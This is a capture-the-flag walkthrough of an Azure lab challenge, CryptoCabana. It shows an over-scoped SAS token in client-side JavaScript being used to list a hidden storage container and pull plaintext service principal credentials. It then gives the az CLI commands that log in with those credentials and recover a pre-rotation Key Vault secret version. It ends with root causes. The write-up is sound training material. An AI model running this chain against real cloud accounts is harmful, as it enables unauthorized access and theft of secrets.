Skip to main content

Cloud · Medium · 90 pts

Sleep easy, said the kiosk.

A walkthrough of CryptoCabana: an over-permissioned SAS token in plain client-side JS, a hidden storage container, a leaked service principal, and a Key Vault secret that "rotation" didn't actually kill.

Target cryptocabanaf5scjagc.z13.web.core.windows.net Room Byte Lotus Resort · Hacker Holidays Stack Azure Storage · Blob SAS · Key Vault
Intro

The promise

CryptoCabana is a single-page "seed phrase backup" kiosk. The pitch is four words: Backed up. Sleep easy. The room's job is to find out what that page quietly trusts to reach into storage on its own — and how far that trust extends once you start pulling.

@0xMia · posted after breakfast
"the backup kiosk is SO confident. 'sleep easy' it says 💀 reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that 👀"

Two tells worth holding onto before starting: this is a static site (nothing runs server-side that the browser doesn't also have access to), and there's a planted hint about secret rotation that only pays off much later.

01

Pull apart what the page hands out for free

The landing page itself is unremarkable — a recovery-phrase textbox and a "Back it up" button. The interesting part is what fires when you submit it. Opening DevTools → Network before submitting anything, then typing garbage into the field and clicking the button, surfaces the real request:

PUT https://cryptocabanaf5scjagc.blob.core.windows.net/backups/backup-<timestamp>.txt
?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z
&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W...h0%3D

The frontend never called an API of its own — it wrote directly to Azure Blob Storage, authenticated with a SAS (Shared Access Signature) token baked straight into the page's client-side JavaScript, visible to anyone who opens the network tab.

Finding 1 — the token is over-scoped. The query string reads sp=rl: read and list, not just write. A token that only needs to let visitors drop off a backup was minted with rights to read and enumerate the entire account. Its window is also suspicious: st=2024-01-01se=2099-12-31 — cut once, years ago, and never rotated.
02

Follow the trust somewhere the page never points

With list rights on the account (srt=sco = service + container + object scope), the same token can enumerate containers the frontend never links to. First, listing the backups container itself came up empty — that's just where throwaway test writes land. The real move is listing at the account root:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&<same SAS params>"

That returns three containers: $web (the static site itself), backups (empty), and a third one the page never mentions or links to anywhere:

Finding 2 — a hidden container. vault — not referenced in any HTML, CSS, or JS on the site, only discoverable because the leaked SAS token had list rights over the whole account.

Listing it:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&<SAS>"

Blob

seed_phrase.txt — decoy, a fake wallet phrase

Blob

backup-service-account.json

The second file is the actual payload. Fetched with the same SAS token:

{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "note": "CryptoCabana backup automation account.
            Rotate this if it ever leaves the vault. -- IT"
}
Finding 3 — full service principal credentials, sitting in the same blob storage that a client-side "write only" token could read. This identity — not the CTF user's own Reader-scoped Azure account — is what actually holds rights over the Key Vault.
03

The second, more valuable set of keys

Authenticating as the leaked service principal instead of the lab user:

az login --service-principal \
  --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  --password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table

key-shard-1

enabled

key-shard-2

enabled

key-shard-3

enabled

master-key

enabled — expired 2020-01-01 (decoy)

Listing gives names, not values — the vault "won't give up the real values on the first ask," as the briefing put it. Reading the three shards directly:

key-shard-1
THM{n0t_ur
key-shard-2
"Rotated this after IT flagged it — old value should still be recoverable if you know where to look."

not the flag

key-shard-3
ur_c01ns!}

Shard 2's live value is a note, not data — a direct nod to @0xMia's tip about values that look freshly rotated. Key Vault keeps prior versions unless they're explicitly purged, so:

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json

Two versions come back, three seconds apart. Reading the older one:

az keyvault secret show --vault-name ccabana-kv-f5scjagc \
  --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0 \
  --query value -o tsv
_k3ys_n0t_
Finding 4 — rotation ≠ revocation. "Rotating" a Key Vault secret creates a new current version; it doesn't delete the old one. Anyone with read access to the vault can still pull the pre-rotation value by version ID unless it's explicitly purged.
Flag

Assembling the shards

THM{n0t_ur_k3ys_n0t_ur_c01ns!}

A fitting punchline for a "backup vault" challenge — not your keys, not your coins — delivered by a kiosk that promised sleeping easy and instead handed out read access to its own vault.

Recap

The full chain

  1. Client-side JS embeds a SAS token meant only for uploading backups — but scoped with read + list over the whole storage account.
  2. That token enumerates a vault container never linked from the site itself.
  3. The vault holds a service principal's client_id / client_secret in plaintext JSON.
  4. That service principal has legitimate rights over a separate Azure Key Vault holding the real secret, split into shards.
  5. One shard was "rotated" after being flagged — but the pre-rotation version is still retrievable by version ID.

Root causes

Over-scoped SAS token

A write-only use case (drop off a backup) was issued a token with account-wide read and list rights, and a 75-year validity window.

Secrets stored beside secrets

A service principal credential — effectively a master key to the real vault — was left as a plaintext blob in the same storage account it was meant to protect.

Security through obscurity

The vault container wasn't linked anywhere, but obscurity isn't access control — anyone with list rights finds it in one request.

Incomplete rotation

Rotating a Key Vault secret without purging prior versions leaves the compromised value readable to anyone who still has read access.

CryptoCabana — Byte Lotus Resort · Hacker Holidays Writeup by usr-08045324